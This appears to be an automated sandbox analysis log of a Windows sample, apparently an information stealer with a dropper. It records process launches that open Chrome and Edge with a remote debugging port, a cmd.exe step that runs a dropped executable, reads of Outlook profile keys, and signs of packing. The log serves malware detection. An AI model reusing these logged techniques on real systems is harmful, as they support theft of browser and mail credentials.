Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2347153135.000000001D719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2487431087.0000000000DE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2487020691.000000001D70D000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAKFHIEHJKFHDHD.0.dr, KFBGDBFBKKJECBFHDGIE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768662182.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: KJJJKFIIIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: ..RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNe

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2720,i,5043221228384178356,12406592722726434342,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2140,i,933805822226142659,7319372801501874733,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2184,i,14553019711621385592,11988501647328471327,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KJJJKFIIIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KJJJKFIIIJ.exe "C:\Users\user\Documents\KJJJKFIIIJ.exe"
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2720,i,5043221228384178356,12406592722726434342,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Documents\KJJJKFIIIJ.exe "C:\Users\user\Documents\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2140,i,933805822226142659,7319372801501874733,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2184,i,14553019711621385592,11988501647328471327,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KJJJKFIIIJ.exe "C:\Users\user\Documents\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 5205504 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x249000
Source: file.exe	Static PE information: Raw size of aywxihyi is bigger than: 0x100000 < 0x2aa200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W;aywxihyi:EW;tzeekzyc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;aywxihyi:EW;tzeekzyc:EW;.taggant:EW;
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Unpacked PE file: 18.2.KJJJKFIIIJ.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 19.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwiaqwpe:EW;ivzhtbht:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C943480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C943480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.18.dr	Static PE information: real checksum: 0x331b1e should be: 0x329de4
Source: file.exe	Static PE information: real checksum: 0x4fb7df should be: 0x501cfe
Source: BY5BeYh.exe.26.dr	Static PE information: real checksum: 0x1d7f15 should be: 0xd8e54
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x331b1e should be: 0x329de4
Source: BY5BeYh[1].exe.26.dr	Static PE information: real checksum: 0x1d7f15 should be: 0xd2d8f
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: real checksum: 0x331b1e should be: 0x329de4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: aywxihyi
Source: file.exe	Static PE information: section name: tzeekzyc
Source: file.exe	Static PE information: section name: .taggant
